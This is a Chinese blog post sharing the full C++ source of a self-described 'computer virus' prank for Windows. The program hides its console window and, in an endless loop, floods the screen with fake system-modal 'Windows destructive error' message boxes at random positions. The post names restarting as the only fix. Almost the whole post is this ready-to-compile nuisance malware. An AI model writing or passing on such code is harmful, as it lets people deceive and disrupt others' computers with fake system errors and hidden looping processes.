欢迎光临散文网 会员登陆 & 注册

{傻子无聊系列}c++ 计算机病毒备份!(解决方法:重启:就这么简单)

2023-07-15 09:59 作者:三无的白象牛蛙汤面  | 我要投稿

#include<bits/stdc++.h>

#include<Windows.h>

#include<conio.h>

using namespace std;

HCRYPTPROV prov;

 

int random()

{

if (prov == NULL)

{

if (!CryptAcquireContext(&prov, NULL, NULL, PROV_RSA_FULL, CRYPT_SILENT | CRYPT_VERIFYCONTEXT))

{

ExitProcess(1);

}

}

int out;

CryptGenRandom(prov, sizeof(out), (BYTE*)(&out));

return out & 0x7fffffff;

}

 

void mess1(LPVOID lp)

{

MessageBoxA(NULL, "Windows遇到毁灭性错误!", "Windows错误报告", MB_OK | MB_SYSTEMMODAL | MB_ICONSTOP);

}

 

void mess2(LPVOID lp)

{

MessageBoxA(NULL, "Windows遇到毁灭性错误!", "Windows错误报告", MB_OK | MB_SYSTEMMODAL | MB_ICONSTOP);

}

 

void mess3(LPVOID lp)

{

MessageBoxA(NULL, "Windows遇到毁灭性错误!", "Windows错误报告", MB_OK | MB_SYSTEMMODAL | MB_ICONSTOP);

}

void MainProgram()

{

int NumberOfMessageBox = 20;

HWND hwnd[10005];

HWND ThisProgram = GetForegroundWindow();

NumberOfMessageBox += 3;

ShowWindow(ThisProgram, SW_HIDE);

Sleep(4000);

for (int i = 1; i <= NumberOfMessageBox / 3; i++)

{

CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)mess1, 0, 0, 0);

Sleep(90);

hwnd[i] = FindWindowA(NULL, "Windows错误报告");

ShowWindow(hwnd[i], SW_HIDE);

MoveWindow(hwnd[i], random() % 1920, random() % 1080, 220, 180, false);

CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)mess2, 0, 0, 0);

Sleep(90);

hwnd[i + 3334] = FindWindowA(NULL, "Windows错误报告");

ShowWindow(hwnd[i + 3334], SW_HIDE);

MoveWindow(hwnd[i + 3334], random() % 1920, random() % 1080, 220, 180, false);

CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)mess3, 0, 0, 0);

Sleep(90);

hwnd[i + 6667] = FindWindowA(NULL, "Windows错误报告");

ShowWindow(hwnd[i + 6667], SW_HIDE);

MoveWindow(hwnd[i + 6667], random() % 1920, random() % 1080, 220, 180, false);

}

Sleep(1000);

for (int i = 1; i <= NumberOfMessageBox; i++)

{

ShowWindow(hwnd[i], SW_SHOW);

Sleep(15);

ShowWindow(hwnd[i + 3334], SW_SHOW);

Sleep(15);

ShowWindow(hwnd[i + 6667], SW_SHOW);

}

Sleep(1000);

for (int i = 1; i <= NumberOfMessageBox / 3; i++)

{

SendMessage(hwnd[i], WM_CLOSE, 0, 0);

Sleep(5);

SendMessage(hwnd[i + 3334], WM_CLOSE, 0, 0);

Sleep(5);

SendMessage(hwnd[i + 6667], WM_CLOSE, 0, 0);

Sleep(5);

}

return;

}


int main()

{

while(1)

{

MainProgram();

}

return 0;

}


{傻子无聊系列}c++ 计算机病毒备份!(解决方法:重启:就这么简单)的评论 (共 条)

分享到微博请遵守国家法律